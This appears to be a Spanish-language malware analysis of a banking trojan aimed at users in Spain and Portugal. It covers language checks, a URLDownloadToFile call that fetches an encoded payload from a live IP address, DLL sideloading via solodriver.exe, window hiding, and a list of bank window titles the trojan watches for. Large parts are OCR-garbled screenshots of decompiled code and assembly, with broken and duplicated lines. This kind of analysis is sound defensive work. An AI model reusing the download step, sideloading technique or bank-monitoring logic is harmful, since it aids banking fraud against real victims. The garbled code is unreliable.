<pre>70 ((void [fastcall *)[in*])sub_48AF68)(*); 1 sub_48AD8(*(in*)%s); (char)%s); 2 sub_48AD8(*(in*)%s); (char)%s); 3 ((void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(&v40, 3, v10, &str_[1] 7 ((void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(&v40, 3, v10, &str_[1] 7 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(7 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(7 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, _string *, int))System::_linkproc_ LStrCath)(8 (void [fastcall *](in*, int, int, int, _string *](int *](in*, int, int, _string *](int *](</pre>	6	<pre>3 v9 = sub 48AFC8(v42, (char)v38);</pre>	CODE:0048ADC8 mov	edx. ds:nSize
<pre>71 sub_48ADE((*(int *)*38, (cfnar)*36); 21 sub_48ADE((*(int *)*38, (cfnar)*36); 72 sub_48ADDE((int)*36); 73 ((void (_fastcall *)(int *, int, int, int; *, int))System::_linkproc_ LStrCatH)(&v49, 3, v10, &str_[1] 74 ((void (_fastcall *)(int *))sub_48AAB(0)(&v33, v10, &str_[1] 75 (void (_fastcall *)(int *, int, int, int, int, int, int))System::_linkproc_ LStrCatH)(75 (void (_fastcall *)(int *, int, int, int, int, int))System::_linkproc_ LStrCatH)(76 ((void (_fastcall *)(int *, int, int, int, int))System::_linkproc_ LStrCatH)(77 ((void (_fastcall *)(int *, int, int, int))System::_linkproc_ LStrCatH)(78 d, void (_fastcall *)(int *, int, int, int))System::_linkproc_ LStrCatH)(79 vil, 79 vil, 79 vil, 79 d, void (_fastcall *)(int *, int, int, int, int))System::_linkproc_ LStrCatH)(79 d, void (_fastcall *)(int *, int, int, int, int))System::_linkproc_ LStrCatH)(79 d, void (_fastcall *)(int *, int, int, int, int))System::_linkproc_ LStrCatH)(79 vil, 80 d, dstr_27[1], 81 d, dword_S61430); 82 if ((uoisigned int)SysutHis::DirectoryExists(System AnsiString))</pre>	• 7	<pre>((void (fastcall *)(int))sub 48AF68)(9);</pre>	CODE:0048ADCE push	edx : nSize
<pre>72 sub_484000{(int)&v33); 73 ((void (_fastcall *)(int *, int,tring: *, int))System::_linkproc_LStrCatN)(&v40, 3, v10, &str_[1] 74 ((void (_fastcall *)(int *))sub_48A4F0)(&v33 77 v23 + v33; 76 ((void (_fastcall *)(int *, int, int, _strings *, int))System::_linkproc_LStrCatN)(77 (void (_fastcall *)(int *, int, int, _strings *, int))System::_linkproc_LStrCatN)(78 System_AnsiString, Si es English, sale del programa 79 v11, 79 dword_S51430); 8 & &str_27[1], 8 & &str_27[1], 8 & (unsigned int%)Sysuths::DirectorvExists(System AnsiString))</pre>	• 7	1 sub 48ADEC(*(int *)v38, (char)v36);	CODE:00 CONDEE Partie	
<pre>73 ((vid (_fastcill *)[in *, int, int, istring *, int))System::_linkproc_ LStrCatN)(&v40, 3, v10, &str_[1] 74 ((vid (_fastcill *)[in *, int, int, istring *, int))System::_linkproc_ LStrCatN)(&v40, 3, v10, &str_[1] 75 (v23 = v33; 76 ((vid (_fastcill *)[in *, int, int, istring *, int))System::_linkproc_ LStrCatN)(85ystem_AnsiString, SiesEnglish, sale del programa 79 v11, 80 &str_27[1], 81 dword_S61430); 82 if ((unisinged int%)Sysutlis::DirectoryExists(System AnsiString))</pre>	• 7	2 sub 48ADB0((int)&v35);	ODE:0048ADD0 push	eax : wLang
<pre>74 ((void (_fastcall *)(int **))sub_48A4F@)(&v3) 75 v23 = v33; 76 ((void (_fastcall *)(int *, int, int, _strings *, int))System::_linkprocLStrCatN)(77 & System_AnsiString, Si es English, sale del programa 78 3, 79 v11, 60 & & xtr27[1], 61 dword_561430); 82 iff ((unsigned int8)Sysut1s::DirectoryExists(System AnsiString))</pre>	• 7	3 ((void (fastcall *)(int *, int, int, strikes *, int))System:: linkproc LStrCatN)(&v40, 3, v10, &str [1]	CODE:0048ADD1 call	VerLanguageNameA
<pre>75 (vi3 = vi3; 76 ((vid (_fastcall *)(int *, int, int, _strings *, int))System::_linkprocLStrCatN)(77 & &ystem_AnsiString, Si es English, sale del programa 78 & , 79 & vi1, 80 & &str27[1], 81 & dword_S61430); 82 & iff ((unsigned int8)Sysutlis::DirectoryExists(System AnsiString))</pre>	• 7	4 ((void (fastcall *)(int **))sub 48AAF0)(&v33	CODE:0048ADD6 mov	edx, esi
776 ((void (_fastcall *)(int *, int, int, _strings *, int))System::_linkproc_LStrCatk)(CODE:00448.0DC nov easy _str EDS 2005-2007 and Del 777 &System_Ansistring, Si es English, sale del programa CODE:00448.0DF nov easy, ebx 78 s, CODE:00448.0DF nov easy, ebx 79 vil, CODE:00448.0DF nov easy, ebx 79 vil, CODE:0044.0DF nov easy, ebx 70 dword_561430); CODE:0044.0DF nov easy, ebx 82 if ((unsigned int8)Sysutis::DirectoryExists(System_Ansistring)) CODE:0044.0DF nov easy, ebx	• 7	5 v23 = v33;	CODE:00 SCADDO MOV	500, 500
77 &System_Ansistring, Si es English, sale del programa CODE:0045ADDF mov eax, ebx 78 J, CODE:0045ADDF all FreeNem 79 Vil, CODE:0045ADDF all CODE:0045ADDF all 8 str27[1], CODE:0045ADDF rent 81 dword_561430); CODE:0045ADDF rent 82 if (Unsigned intB)Sysut11s::DirectoryExists(System Ansistring) CODE:0045ADEF and ASDDB endo	• 7	((void (fastcall *)(int *, int, int, strings *, int))System:: linkproc LStrCatN)(CODE:0048ADDA call	StrPas : BDS 2005-2007 and Del
76 3, 51 eS Eligibili, Sale del programa CODE:00448.DE1 call FreeMem 79 v11, CODE:00448.DE5 pop esi CODE:0044.DE5 pop esi 08 &str_27[1], CODE:0044.DE5 pop ebx CODE:0044.DE5 pop ebx 1 dword_561430; CODE:0044.DE5 retn CODE:0044.DE5 retn 21 if ((unsigned intB)Sysutils::DirectoryExists(System AnsiString)) CODE:0044.DE5 mode ABDE0 endo	7	85ystem Ansistring, Si oc English sale del programa	CODE:0048ADDF mov	eax, ebx
79 vil, CODE:0048ADE5 pop esi 80 &str27[1], CODE:0048ADE5 pop ebx 81 dword_S51430); CODE:0048ADE5 pop ebx 82 if (Unsigned int8)Sysut1s::DirectoryExists(System AnsiString) CODE:0048ADE5 pop ebx	7	3, 3, Si es Englisit, sale del programa	CODE:0048ADE1 call	FreeMem
80 &str_27[1], CODE:0648ADE7 pop ebx 81 dword_5614800; CODE:0648ADE8 refn CODE:0648ADE8 refn 82 if ((unsigned int8)Sysutils::DirectoryExists(System AnsiString)) CODE:0648ADE8 refn CODE:0648ADE8 refn	7) v11,	CODE:0048ADE6 pop	esi
<pre>81 dword_561390; 82 if (unsigned int8)Sysut15::DirectoryExists(System AnsiString)) CODE:004820EB are AbaDe endp</pre>	8	8 str 27[1],	CODE:0048ADE7 pop	ebx
82 if ((unsigned int8)Sysutils::DirectoryExists(System AnsiString)) CODE:0048ADE8 sub 48ADE0 endp	8	1 dword 561430);	CODE:0048ADE8 retn	
	8	2 if ((unsigned int8)Sysutils::DirectoryExists(System AnsiString))	CODE:0048ADE8 sub 48	ADB0 endp

Figura 6: Comprobación del lenguaje del usuario

Una vez dispone la URL en el formato correcto, eliminando caracteres de relleno, descarga el fichero que se muestra a continuación.



$\leftarrow \rightarrow C \textcircled{a}$	0 8 149.56.251.	1 :51551		
Login	Name .extension	Size	Timestamp	Hits
≥ Folder	esgrime.zip	6.5 MB	1/28/2022 5:56:58 AM	517
🚰 Home				
0 folders, 1 files, 6.5 MBytes				
go				
All Invert Mask				
0 items selected				
Archive Get list				
Server information HttpFlieServer 2.3m Server time: 2/1/2022 10:38:13 PM Server uptime: (2 days) 03:26:03				

Figura 7: Servidor que aloja la carga útil

La *dll* se encarga de descargarlo y completar el código para que pueda ser descomprimido posteriormente en la ruta esperada. Los atacantes se aseguran de que en el servidor se registre el lenguaje del usuario, ya que está destinado a usuarios españoles. Añaden el lenguaje a la URL y utilizan la función de la API *URLDownloadToFile*:

```
URLDownloadToFile(http://149.56.251.1:51551/esgrime.zip?Español (España,
internacional), C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip)
```

Siendo *C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip* la ruta donde será almacenado.

🛓 Menu 🛛 📅 Port: 51551 🛛 😫 You are in Easy mode						
🍘 Open in browser http://149.56.251.1:51551/esgrime.zip						
Virtual File System	Log					
esgrime.zip	 15:04:36 Check update: failed 15:06:18 149:56:251.1:1137 Requested GET /esgrime.zip?Español (España, internacional) 15:06:18 149:56:251.1:1137 Fully downloaded - 6.5 M @ 52.0 MB/s - /esgrime.zip?Español (España) 	ña, internacional)				



Después de varias operaciones matemáticas basadas en XOR, se genera un fichero zip en donde ya puede ser descomprimido quedando la dll ubicada junto al ejecutable (y otras 2 dll que necesita dicho ejecutable) que será el encargado de lanzar el proceso de infección. Se descifra el contenido del fichero descargado para descomprimirlo después, dejando una serie de ficheros en el directorio.

ıcibe



co	local	(C:) ► Users ► AppData ► Roaming	▶ nowview	▼ 4→ Buscar no	wview	
:lui	r en b	iblioteca 🔻 Compartir con 🔻 Nueva ca	rpeta		!≡ ▼	E
	*	Nombre	Fecha de modifica	Тіро	Tamaño	
		🚳 dbghelp.dll	28/01/2022 10:22	Extensión de la apl	260.647 KB	
1		🔄 solodriver.exe	30/08/2021 19:00	Aplicación	909 KB	
		🚳 uires.dll	23/04/2019 13:28	Extensión de la apl	11.443 KB	
		🚳 zlibai.dll	30/08/2021 19:07	Extensión de la apl	163 KB	
	=					

Figura 9: Directorio con varios ficheros

La *dll* maliciosa es *dbghelp.dll*, que será cargada como una *dll* más por el ejecutable *solodriver.exe* al encontrarse ubicada en el mismo directorio, este es el primer lugar en donde será buscada haciendo caso omiso a la legítima del sistema.

La aplicación *solodriver.exe* es parte del *software* Advanced Installer 18.6.1 y es llamada *intune.exe*.

Por lo tanto, utilizan una aplicación legítima para cargar la *dll* maliciosa y esta es la que se encarga de controlar que la ventana de la aplicación principal no se vea, que permanezca oculta, aunque en el momento de ejecutarse se muestre brevemente antes de ocultarse.

Si se elimina la *dll* maliciosa del mismo directorio donde se encuentra *solodriver.exe* y se ejecuta este, podemos visualizar su aspecto real, el que oculta el troyano controlando las ventanas existes en ejecución.



Figura 10: Ventana de solodriver.exe sin la ejecución de la dll





Aparentemente, cualquier acción que desencadene la dll parecerá que lo realiza *solodriver.exe*, ya que ésta se encuentra en la memoria del ejecutable como otra dll más.



Figura 11: Aplicaciones en el directorio de ejecución del troyano

La biblioteca dinámica *dbghelp.dll* tiene un tamaño considerable, 255M, lo que dificulta el análisis por parte de ciertas aplicaciones, ya que en muchos casos están limitados a binarios más pequeños, como es el caso de muchas de las plataformas de análisis de *malware* online.

Abriendo el fichero con un editor de recursos se deduce por qué es tan grande: existen 2 imágenes similares colocadas dentro, de tipo ISO.



Figura 12: Imágenes ISO en su interior que hacen que el fichero sea más grande de lo habitual





La primera, *MBJDJDBHWDX.bmp*, ocupa 128 MB mientras que la segunda, *ZCCFMYWMGGO.bmp*, pesa 118 MB.

Como la campaña va destinada a usuarios de España y Portugal, busca que la configuración del lenguaje sea del país.

•	CODE:00DAD8FD	mov	eax, [ebp+var_488]
•	CODE:00DAD903	mov	edx, offset _str_Portugu_sPort.Text ; Português (Portugal)
•	CODE:00DAD908	call	<pre>@System@@LStrCmp\$qqrv ; System:: linkproc LStrCmp(void)</pre>
	CODE:00DAD90D	jnz	loc_DADAFB
	CODE - 000 1001 3	i	and the second sec



00DAAFC7> >00DAAFCC 00DAAFD1 00DAAFD3 00DAAFD3	jmp mov mov call	00DADAFF eax,[0DD0BC0];gvar_00DD0BC0:TRtcHttpPortalClient edx,dword ptr [eax] dword ptr [edx+30] al 1
00DAAFD8>	ine	00DAAFE7
OODAAFDA	xor	eax,eax
OODAAFDC	рор	edx
OODAAFDD	рор	ecx
OODAAFDE	рор	ecx
OODAAFDF	mov	dword ptr fs:[eax],edx
00DAAFE2>	jmp	ØØDADAFF
>00DAAFE7	lea	eax,[ebp-18]
OODAAFEA	call	00DA2FE8
OODAAFEF	MOV	eax,dword ptr [ebp-18]
00DAAFF2	MOV	edx,ODADB88;'Español (España, internacional)'
00DAAFF7	call	@LStrCmp
00DAAFFC>	jne	00DAB209
00DAB002	lea	edx,[ebp-24]

Figura 14: Comparando el lenguaje principal con el español

En la Figura 15 se observa el uso del componente RTC Portal. Este componente está diseñado especialmente para control remoto de escritorio, intercambio de ficheros y aplicaciones de tipo *chat*. Como en su propia página web puede <u>leerse</u>, "RealThinClient SDK es un marco flexible y modular para crear aplicaciones multiplataforma confiables y escalables con Delphi, diseñado para la Web mediante el uso de HTTP/S con compatibilidad completa con IPv4 e IPv6 y subprocesos múltiples incorporados, ampliamente probado para garantizar la máxima estabilidad. Mediante el uso de comunicación basada en eventos sin bloqueo con agrupación de subprocesos integrada, las aplicaciones creadas con RealThinClient SDK pueden manejar miles de conexiones activas mediante el uso de una cantidad limitada de subprocesos en un entorno real de subprocesos múltiples, en todas las plataformas compatibles."







Figura 15: Ejemplos de uso del componente RTC Portal

Cuando se inicia la aplicación se crean una serie de *timers* que irán comprobando de forma periódica lo que está ocurriendo en el equipo, además de ocultar la aplicación que se utiliza para la carga de la *dll*.

CODE:00DB36/C					
CODE:00DB367C	Oculta_lanzador	_solodri	iver_exe proc near		
CODE:00DB367C			; CODE XREF: _TALONH1_TimerHideHandleTime	er∔p	
CODE:00DB367C		push	ebx		
CODE:00DB367D		push	offset aVisualStudioUl ; "Visual Studio Ultimate"		
CODE:00DB3682		push	offset a32770_1 ; "#32770"		BOOL Show/indow/
CODE:00DB3687		call	FindWindowA		
CODE:00DB368C		test	eax, eax		[IN] HWND NWNG,
CODE:00DB368E		jz	short loc_DB3698		[in] int nCmdShow
CODE:00DB3690		push	0 \$ 5W_HIDE);
CODE:00DB3692		push	eax ; hWnd		
CODE:00DB3693		call	ShowWindow		
CODE:00DB3698					
CODE:00DB3698	loc_DB3698:		; CODE XREF: Oculta_lanzador_solodriver_	xe+12↑j	
CODE:00DB3698		mov	eax, ebx		
CODE:00DB369A		рор	ebx		
CODE:00DB369B		retn			
CODE:00DB369B	Oculta_lanzador	_solodri	iver_exe endp	SW_HIDE	Hides the window and activates another window.
CODE:00DB369B				0	
CODE:00DB369B	;			0	
CODE:00DB369C	; const CHAR aV	isualStu	idioU1[]		
CODE:00DB369C	aVisualStudioUl	db 'Vis	sual Studio Ultimate',0		
CODE:00DB369C			; DATA XREF: Oculta_lanzador_solodriver_	exe+1†o	
CODE:00DB36B3		align 4	k in the second s		
CODE:00DB36B4	; const CHAR a3	2770_1[]			
CODE:00DB36B4	a32770_1	db '#32	<pre>2770',0 ; DATA XREF: Oculta_lanzador_solodriver_</pre>	xe+6†o	
CODE:00DB36BB		align 4			
CODE:00DB36BC					
CODE:00DB36BC	;	== S U B	3 R O U T I N E =================================		
CODE:00DB36BC					
CODE:00DB36BC					
CODE:00DB36BC	_TALONH1_TimerH	ideHandl	teTimer proc near ; DATA XREF: CODE:00DA2E35to		
CODE:00DB36BC			; Ilimer_Create+1C41o		
CODE:00DB36BC		cail	Ocuita_ianzador_solodriver_exe		
CODE:00DB36C1		retn			
CODE:00DB36C1	_TALONH1_TimerH	1deHandl	leTimer endp		

Figura 16: Busca la ventana de solodriver.exe para ocultarla

Primero busca con la API *FindWindowA* la ventana con el título "Visual Studio Ultimate" y si la encuentra, utiliza su manejador o *handle* para ocultarla con *ShowWindow*.





🕮 CPU	🎡 Gráfico 🛛 📝 Log	📄 Notas 🔹 📍 Break	points Mapa de memoria	Pila de llamadas	SEH SEH	Script	2	Símbolos	Fuente	Referencias	🐭 Hilos	🖅 Snowm
		Notas Break 8BFF 55 8BEC 33C0 50 50 FF75 06 50 50	points Mapa de memoria mov edi, edi mov ebp, esp xor eax, eax push eax push dword ptr ss: ebp push eax push eax	Pila de llamadas	SEH Findwind	owA	^ [Símbolos Ocultar EAX 004 EBX 004 ECX 001 EDX 004 EBP 120 ESP 120	C Fuente FPU 41588C 4222F4 L50F8C 4222F4 3F758 3F758 3F77C	P Referencias	Hilos	Snowm
	 7501FFF6 7501FFF8 7501FFF7 75020002 75020005 75020008 75020008 75020000A 75020000A 75020000B 75020000B 75020000B 75020000B 75020000B 	E8 2CFFFFFF 5D C2 0800 8855 18 8955 D0 8855 14 51 4A 52 8055 D0 52	<pre>call user32.7501FF27 pop ebp net 8 mov edx,dword ptr ss:[ebp mov edx,dword ptr ss:[ebp mov edx,dword ptr ss:[ebp ush ecx dec edx pue edx,dword ptr ss:] usb edx,dword ptr ss:[hisb edx</pre>	ebp+18] 30],edx ebp+14] ebp-30]			Ŧ	ESI 009 EDI 000 EIP 750 EFLAGS ZF 0 PF OF 0 SF CF 0 TF	0000000 01FFE6 00000304 1 AF 0 0 DF 0 1 IF 1	aogne ip. 00969FF	o dowA>	
edi=0 .text:750		4		tor defecto (; L: [esp+4 2: [esp+8 3: [esp+0 4: [esp+1 5: [esp+1	stdcall) 01333684 0133369C 004222F4 0] 013336C1 4] 009BA002	"#32770" "Visual Studio dbghelp.013336 dbghelp.0098A0	Ultimate" GC1 002	_				

Figura 17: Buscando la ventana para ocultarla

Otro de los procesos periódicos consiste en comprobar que se accede a los bancos, se busca una serie de cadenas en las ventanas activas.

<pre>GetWindowTextA = & "Santander" GetWindowTextA = & "Nome Banking" GetWindowTextA = & "Banco Mediolanum" GetWindowTextA = & "Banco Mediolanum" GetWindowTextA = & "Banco Mediolanum" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Banka Digital" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Ubercaja" GetWindowTextA = & "Ubercaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "EVO Banco" GetWindowTextA = & "Stor GetWindowTextA = & "Stor GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "2? GetWindowTextA = & "Banco BPI" GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "ActivoBank"</pre>	GetWindowTextA =	& "Microsoft Network Monitor"
<pre>GetWindowTextA = & "Wetbanco Particulares" GetWindowTextA = & "Banco Mediolanum" GetWindowTextA = & "Openbank" GetWindowTextA = & "Openbank" GetWindowTextA = & "BaNA" GetWindowTextA = & "BaNA" GetWindowTextA = & "Banca Digital" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia." GetWindowTextA = & "Bankia." GetWindowTextA = & "Bankia." GetWindowTextA = & "Unicaja" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Cajasur Contine" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Banca Persona</pre>	GetWindowTextA =	&"Santander"
<pre>GetWindowTextA = & "Home Banking" GetWindowTextA = & "Openbank" GetWindowTextA = & "BBVA" GetWindowTextA = & "BBVA" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "ING Banco online" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "StoV Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Activo Banco Bersonal Global Bank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ScoV Banco BPI" GetWindowTextA = & "SecoVBanco" GetWindowTextA = & StoV Banco BPI" GetWindowTextA = & StoV Banco BPI" GetWindowTextA = & StoVoBank" GetWindowTextA = & StoVoBa</pre>	GetWindowTextA =	&"Netbanco Particulares"
<pre>GetWindowTextA = & "Banco Mediolanum" GetWindowTextA = & "Openbank" GetWindowTextA = & "GaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Banka" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Laiva" GetWindowTextA = & "Laiva" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Lberbank" GetWindowTextA = & "Unicaja" GetWindowTextA = & "Ubercaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "EVO Banco" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = <forma GetWindowTextA = % "Activo Banco" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = % Exerco BPI" GetWindowTextA = ??? GetWindowTextA = % Sanco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = % Banco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = % Sanco Montepio" GetWindowTextA = % Toobanco"</forma </pre>	GetWindowTextA =	&"Home Banking"
<pre>GetWindowTextA = & "Openbank" GetWindowTextA = & "BBVA" GetWindowTextA = & "Banca Digital" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Banka" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia." GetWindowTextA = & "BANKIA" GetWindowTextA = & "NG Banco online" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Caixaur Engress" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ? GetWindowTextA = ? GetWindowT</pre>	GetWindowTextA =	&"Banco Mediolanum"
<pre>GetWindowTextA = & "BBVA" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "BankiA" GetWindowTextA = & "ANKIA" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Bartculares" GetWindowTextA = & "Cajasur Dersonal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "StOV Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = %"Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = %"ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Openbank"
GetWindowTextA = & "CaixaBank" GetWindowTextA = & "Banca Digital" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Banka.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Libercaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Naca Personal Global Bank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"	GetWindowTextA =	s"BBVA"
<pre>GetWindowTextA = & "Banca Digital" GetWindowTextA = & "Caja Rural" GetWindowTextA = & "BanKia.es" GetWindowTextA = & "BanKia.es" GetWindowTextA = & "BanKiA" GetWindowTextA = & "NG Banco online" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Sajasur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = ??? GetWindowTextA =</pre>	GetWindowTextA =	&"CaixaBank"
<pre>GetWindowTextA = & "Caja Rural" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Bankia" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Thercaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Bance Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Solasur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = % "Aultibank" GetWindowTextA = & "Multibank" GetWindowTextA = % Sanco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = % Sanco Montepio" GetWindowTextA = % Banco Montepio" GetWindowTextA = % Toobanco"</pre>	GetWindowTextA =	&"Banca Digital"
GetWindowTextA = & "Empresas BANKINTER" GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "BankiA" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Ubercaja" GetWindowTextA = & "Lorcaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Supersonal" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "ActivoBanc" GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? 